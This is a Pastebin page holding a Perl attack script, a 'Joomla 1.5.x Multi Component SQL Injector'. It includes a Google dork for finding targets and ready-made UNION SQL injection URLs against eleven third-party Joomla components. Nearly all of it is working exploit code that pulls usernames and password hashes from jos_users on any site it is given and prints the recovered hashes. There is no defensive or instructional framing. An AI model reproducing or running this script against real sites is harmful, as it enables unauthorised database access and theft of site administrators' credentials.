Advertisement
Aluf

Multi Component SQL Injector

Jan 31st, 2015
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 16.65 KB | None | 0 0
  1. #Exploit Title: Joomla 1.5.x Multi Component SQL Injector ()
  2. #Exploit Author: Aluf
  3. #Date: 28/01/2013
  4. #Google Dork: inurl:"com_..."
  5. #!/usr/bin/perl
  6. use IO::Socket::INET;
  7. use LWP::UserAgent;
  8. system("clear");
  9. print "---------------------------------------------\n";
  10. print "  Joomla 1.5.x Multi Component SQL Injector  \n";
  11. print "          Created by Aluf            \n";
  12. print "---------------------------------------------\n\n";
  13. $target = $ARGV[0];
  14. $component = $ARGV[1];
  15. if($target eq '' || $component eq '')
  16. {
  17. print "Usage: ./exploit.pl <target> <component> \n";
  18. print "-----------------------------------\n";
  19. print " Available components :        \n";
  20. print " 1- com_alfurqan15x            \n";
  21. print " 2- com_jobprofile             \n";
  22. print " 3- com_question               \n";
  23. print " 4- com_joomloc                \n";
  24. print " 5- com_joomlub               \n";
  25. print " 6- com_manager                \n";
  26. print " 7- com_iproperty              \n";
  27. print " 8- com_jooproperty               \n";
  28. print " 9- com_digifolio                 \n";
  29. print " 10- com_rdautos                   \n";
  30. print " 11- com_ownbiblio                \n";
  31. print " 12- try to exploit all components \n";
  32. print "-----------------------------------\n";
  33. print " Example: ./exploit.pl http://www.site.com/spa/ 1 \n\n";
  34. exit(1);
  35. }
  36.  
  37. open(FILE, "> contents11.txt");
  38.  
  39. if($target !~ /http:\/\//)
  40. {
  41. $target = "http://$target";
  42. }
  43.  
  44. sleep 1.5;
  45. $agent = LWP::UserAgent->new();
  46. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
  47. if($component == 1)
  48. {
  49. $host = $target . "/index.php?option=com_alfurqan15x&action=viewayat&surano=-999.9+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users--";
  50. print " . . Exploiting com_alfurqan15x on target $target . . \n\n";
  51. sleep 1;
  52. $req = $agent->request(HTTP::Request->new(GET=>$host));
  53. $content = $req->content;
  54. if($content =~ /([0-9a-fA-F]{32})/)
  55. {
  56. $password = $1;
  57. print "[+] Password found --> $password \n\n";
  58. sleep 1;
  59. }
  60. else
  61. {
  62. print "[-] Password not found :( . \n\n";
  63. }
  64. }
  65.  
  66. if($component == 2)
  67. {
  68. $host = $target . "index.php?option=com_jobprofile&amp;Itemid=61&amp;task=profilesview&amp;id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--";
  69. print " . . Exploiting com_jobprofile on target $target . . \n\n";
  70. sleep 1;
  71. $req = $agent->request(HTTP::Request->new(GET=>$host));
  72. $content = $req->content;
  73. if($content =~ /([0-9a-fA-F]{32})/)
  74. {
  75. $password = $1;
  76. print "[+] Password found --> $password :) .\n\n";
  77. sleep 1;
  78. }
  79. else
  80. {
  81. print "[-] Password not found :( . \n\n";
  82. }
  83. }
  84.  
  85. if($component == 3)
  86. {
  87. $host = $target . "/index.php/?option=com_question&amp;catID=21' and+1=0 union all select  # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20";
  88. print " . . Exploiting com_question on target $target . . \n\n";
  89. sleep 1;
  90. $req = $agent->request(HTTP::Request->new(GET=>$host));
  91. $content = $req->content;
  92. if($content =~ /([0-9a-fA-F]{32})/)
  93. {
  94. $password = $1;
  95. print "[+] Password found --> $password :) .\n\n";
  96. sleep 1;
  97. }
  98. else
  99. {
  100. print "[-] Password not found :( . \n\n";
  101. }
  102. }
  103.  
  104. if($component == 4)
  105. {
  106. $host = $target . "/index.php?option=com_joomloc&amp;controller=loc&amp;view=loc&amp;layout=loc&amp;task=edit&amp;cid[]=1&amp;id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users";
  107. print " . . Exploiting com_joomloc on target $target . . \n\n";
  108. sleep 1;
  109. $req = $agent->request(HTTP::Request->new(GET=>$host));
  110. $content = $req->content;
  111. if($content =~ /([0-9a-fA-F]{32})/)
  112. {
  113. $password = $1;
  114. print "[+] Password found --> $password :) .\n\n";
  115. sleep 1;
  116. }
  117. else
  118. {
  119. print "[-] Password not found :( . \n\n";
  120. }
  121. }
  122.  
  123. if($component == 5)
  124. {
  125. print " . . Exploiting com_joomlub on target $target . . \n\n";
  126. sleep 1;
  127. print " . . Trying different types of injection for this component . . wait please . . \n\n";
  128. $host = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  129. $host1 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  130. $host2 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users--%20";
  131. $host3 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=2'%20and+1=0%20union%20all%20select%20#%20|%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users--%20";
  132. $host4= $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20UNION%20ALL%20SELECT%201,2,3,concat(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  133.  
  134. @hosts = ($host,$host1,$host2,$host3,$host4);
  135. foreach $hos(@hosts)
  136. {
  137. sleep 1;
  138. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  139. $content = $req->content;
  140. if($content =~ /([0-9a-fA-F]{32})/)
  141. {
  142. $password = $1;
  143. print "Password found --> $password :) . \n\n";
  144. sleep 1;
  145. }
  146. else
  147. {
  148. print "Password not found :( . \n\n";
  149. sleep 1;
  150. }
  151. }
  152. }
  153.  
  154. if($component == 6)
  155. {
  156. $host = $target . "/index.php?option=com_manager&view=flight&Itemid=-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  157. print " . . Exploiting com_manager on target $target . . \n\n";
  158. sleep 1;
  159. $req = $agent->request(HTTP::Request->new(GET=>$host));
  160. $content = $req->content;
  161. if($content =~ /([0-9a-fA-F]{32})/)
  162. {
  163. $password = $1;
  164. print "[+] Password found --> $password :) .\n\n";
  165. sleep 1;
  166. }
  167. else
  168. {
  169. print "[-] Password not found :( . \n\n";
  170. }
  171. }
  172.  
  173. if($component == 7)
  174. {
  175. $host = $target . "/index.php?option=com_iproperty&view=agentproperties&id=-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  176. print " . . Exploiting com_iproperty on target $target . . \n\n";
  177. sleep 1;
  178. $req = $agent->request(HTTP::Request->new(GET=>$host));
  179. $content = $req->content;
  180. if($content =~ /([0-9a-fA-F]{32})/)
  181. {
  182. $password = $1;
  183. print "[+] Password found --> $password :) .\n\n";
  184. sleep 1;
  185. }
  186. else
  187. {
  188. print "[-] Password not found :( . \n\n";
  189. }
  190. }
  191.  
  192. if($component == 8)
  193. {
  194. $host = $target . "/index.php?option=com_jooproperty&view=booking&layout=modal&product_id=1%20and%201=0%20union%20select%201,(select group_concat(username,0x3D,password)%20from%20dy978_users)+--+";
  195. print " . . Exploiting com_jooproperty on target $target . . \n\n";
  196. sleep 1;
  197. $req = $agent->request(HTTP::Request->new(GET=>$host));
  198. $content = $req->content;
  199. if($content =~ /([0-9a-fA-F]{32})/)
  200. {
  201. $password = $1;
  202. print "[+] Password found --> $password :) .\n\n";
  203. sleep 1;
  204. }
  205. else
  206. {
  207. print "[-] Password not found :( . \n\n";
  208. }
  209. }
  210.  
  211. if($component == 9)
  212. {
  213. $host = $target. "/index.php?option=com_digifolio&view=project&id=10/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--";
  214. print " . . Exploiting com_digifolio on target $target . . \n\n";
  215. sleep 1;
  216. $req = $agent->request(HTTP::Request->new(GET=>$host));
  217. $content = $req->content;
  218. if($content =~ /([0-9a-fA-F]{32})/)
  219. {
  220. $password = $1;
  221. print "[+] Password found --> $password :) .\n\n";
  222. sleep 1;
  223. }
  224. else
  225. {
  226. print "[-] Password not found :( . \n\n";
  227. }
  228. }
  229.  
  230. if($component == 10)
  231. {
  232. $host = $target . "/index.php?option=com_rdautos&view=category&id=-1+union+select+concat(username,char(58),password)+from+jos_users--&Itemid=54";
  233. print " . . Exploiting com_rdautos on target $target . . \n\n";
  234. sleep 1;
  235. $req = $agent->request(HTTP::Request->new(GET=>$host));
  236. $content = $req->content;
  237. if($content =~ /([0-9a-fA-F]{32})/)
  238. {
  239. $password = $1;
  240. print "[+] Password found --> $password :) .\n\n";
  241. sleep 1;
  242. }
  243. else
  244. {
  245. print "[-] Password not found :( . \n\n";
  246. }
  247. }
  248.  
  249. if($component == 11)
  250. {
  251. $host = $target. "/index.php?option=com_ownbiblio&view=catalogue&catid=-1+union+all+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--";
  252. print " . . Exploiting com_ownbiblio on target $target . . \n\n";
  253. sleep 1;
  254. $req = $agent->request(HTTP::Request->new(GET=>$host));
  255. $content = $req->content;
  256. if($content =~ /([0-9a-fA-F]{32})/)
  257. {
  258. $password = $1;
  259. print "[+] Password found --> $password :) .\n\n";
  260. sleep 1;
  261. }
  262. else
  263. {
  264. print "[-] Password not found :( . \n\n";
  265. }
  266. }
  267.  
  268. if($component == 12)
  269. {
  270. print " . . Trying to exploit all available components . . \n\n";
  271. sleep 2;
  272. $host = $target . "/index.php?option=com_alfurqan15x&action=viewayat&surano=-999.9+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users--";
  273. print " . . Exploiting com_alfurqan15x on target $target . . \n\n";
  274. sleep 1;
  275. $req = $agent->request(HTTP::Request->new(GET=>$host));
  276. $content = $req->content;
  277. if($content =~ /([0-9a-fA-F]{32})/)
  278. {
  279. $password = $1;
  280. print "[+] Password found --> $password \n\n";
  281. sleep 1;
  282. }
  283. else
  284. {
  285. print "[-] Password not found :( . \n\n";
  286. }
  287.  
  288. sleep 2;
  289.  
  290. $host = $target . "index.php?option=com_jobprofile&amp;Itemid=61&amp;task=profilesview&amp;id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--";
  291. print " . . Exploiting com_jobprofile on target $target . . \n\n";
  292. sleep 1;
  293. $req = $agent->request(HTTP::Request->new(GET=>$host));
  294. $content = $req->content;
  295. if($content =~ /([0-9a-fA-F]{32})/)
  296. {
  297. $password = $1;
  298. print "[+] Password found --> $password :) .\n\n";
  299. sleep 1;
  300. }
  301. else
  302. {
  303. print "[-] Password not found :( . \n\n";
  304. }
  305.  
  306. sleep 2;
  307.  
  308. $host = $target . "/index.php/?option=com_question&amp;catID=21' and+1=0 union all select  # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20";
  309. print " . . Exploiting com_question on target $target . . \n\n";
  310. sleep 1;
  311. $req = $agent->request(HTTP::Request->new(GET=>$host));
  312. $content = $req->content;
  313. if($content =~ /([0-9a-fA-F]{32})/)
  314. {
  315. $password = $1;
  316. print "[+] Password found --> $password :) .\n\n";
  317. sleep 1;
  318. }
  319. else
  320. {
  321. print "[-] Password not found :( . \n\n";
  322. }
  323.  
  324. sleep 2;
  325.  
  326. $host = $target . "/index.php?option=com_joomloc&amp;controller=loc&amp;view=loc&amp;layout=loc&amp;task=edit&amp;cid[]=1&amp;id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users";
  327. print " . . Exploiting com_joomloc on target $target . . \n\n";
  328. sleep 1;
  329. $req = $agent->request(HTTP::Request->new(GET=>$host));
  330. $content = $req->content;
  331. if($content =~ /([0-9a-fA-F]{32})/)
  332. {
  333. $password = $1;
  334. print "[+] Password found --> $password :) .\n\n";
  335. sleep 1;
  336. }
  337. else
  338. {
  339. print "[-] Password not found :( . \n\n";
  340. }
  341.  
  342. sleep 2;
  343.  
  344. print " . . Exploiting com_joomlub on target $target . . \n\n";
  345. sleep 1;
  346. print " . . Trying different types of injection for this component . . wait please . . \n\n";
  347. $host = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  348. $host1 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  349. $host2 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20union%20all%20select%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users--%20";
  350. $host3 = $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=2'%20and+1=0%20union%20all%20select%20#%20|%201,2,3,concat_ws(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users--%20";
  351. $host4= $target . "/index.php?option=com_joomlub&amp;controller=auction&amp;view=auction&amp;task=edit&amp;aid=-2%20UNION%20ALL%20SELECT%201,2,3,concat(0x3a,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+jos_users";
  352.  
  353. @hosts = ($host,$host1,$host2,$host3,$host4);
  354. foreach $hos(@hosts)
  355. {
  356. sleep 1;
  357. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  358. $content = $req->content;
  359. if($content =~ /([0-9a-fA-F]{32})/)
  360. {
  361. $password = $1;
  362. print "Password found --> $password :) . \n\n";
  363. sleep 1;
  364. }
  365. else
  366. {
  367. print "Password not found :( . \n\n";
  368. }
  369.  
  370. sleep 2;
  371.  
  372. $host = $target . "/index.php?option=com_manager&view=flight&Itemid=-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  373. print " . . Exploiting com_manager on target $target . . \n\n";
  374. sleep 1;
  375. $req = $agent->request(HTTP::Request->new(GET=>$host));
  376. $content = $req->content;
  377. if($content =~ /([0-9a-fA-F]{32})/)
  378. {
  379. $password = $1;
  380. print "[+] Password found --> $password :) .\n\n";
  381. sleep 1;
  382. }
  383. else
  384. {
  385. print "[-] Password not found :( . \n\n";
  386. }
  387. }
  388.  
  389. sleep 2;
  390.  
  391. $host = $target . "/index.php?option=com_iproperty&view=agentproperties&id=-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  392. print " . . Exploiting com_iproperty on target $target . . \n\n";
  393. sleep 1;
  394. $req = $agent->request(HTTP::Request->new(GET=>$host));
  395. $content = $req->content;
  396. if($content =~ /([0-9a-fA-F]{32})/)
  397. {
  398. $password = $1;
  399. print "[+] Password found --> $password :) .\n\n";
  400. sleep 1;
  401. }
  402. else
  403. {
  404. print "[-] Password not found :( . \n\n";
  405. }
  406.  
  407. sleep 2;
  408.  
  409. $host = $target . "/index.php?option=com_jooproperty&view=booking&layout=modal&product_id=1%20and%201=0%20union%20select%201,(select group_concat(username,0x3D,password)%20from%20dy978_users)+--+";
  410. print " . . Exploiting com_jooproperty on target $target . . \n\n";
  411. sleep 1;
  412. $req = $agent->request(HTTP::Request->new(GET=>$host));
  413. $content = $req->content;
  414. if($content =~ /([0-9a-fA-F]{32})/)
  415. {
  416. $password = $1;
  417. print "[+] Password found --> $password :) .\n\n";
  418. sleep 1;
  419. }
  420. else
  421. {
  422. print "[-] Password not found :( . \n\n";
  423. }
  424.  
  425. sleep 2;
  426.  
  427. $host = $target. "/index.php?option=com_digifolio&view=project&id=10/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--";
  428. print " . . Exploiting com_digifolio on target $target . . \n\n";
  429. sleep 1;
  430. $req = $agent->request(HTTP::Request->new(GET=>$host));
  431. $content = $req->content;
  432. if($content =~ /([0-9a-fA-F]{32})/)
  433. {
  434. $password = $1;
  435. print "[+] Password found --> $password :) .\n\n";
  436. sleep 1;
  437. }
  438. else
  439. {
  440. print "[-] Password not found :( . \n\n";
  441. }
  442.  
  443. sleep 2;
  444.  
  445. $host = $target . "/index.php?option=com_rdautos&view=category&id=-1+union+select+concat(username,char(58),password)+from+jos_users--&Itemid=54";
  446. print " . . Exploiting com_rdautos on target $target . . \n\n";
  447. sleep 1;
  448. $req = $agent->request(HTTP::Request->new(GET=>$host));
  449. $content = $req->content;
  450. if($content =~ /([0-9a-fA-F]{32})/)
  451. {
  452. $password = $1;
  453. print "[+] Password found --> $password :) .\n\n";
  454. sleep 1;
  455. }
  456. else
  457. {
  458. print "[-] Password not found :( . \n\n";
  459. }
  460.  
  461. sleep 2;
  462.  
  463. $host = $target. "/index.php?option=com_ownbiblio&view=catalogue&catid=-1+union+all+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--";
  464. print " . . Exploiting com_ownbiblio on target $target . . \n\n";
  465. sleep 1;
  466. $req = $agent->request(HTTP::Request->new(GET=>$host));
  467. $content = $req->content;
  468. if($content =~ /([0-9a-fA-F]{32})/)
  469. {
  470. $password = $1;
  471. print "[+] Password found --> $password :) .\n\n";
  472. sleep 1;
  473. }
  474. else
  475. {
  476. print "[-] Password not found :( . \n\n";
  477. }
  478.  
  479. sleep 2;
  480.  
  481. print "[+] Attack finished. \n\n";
  482.  
  483. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement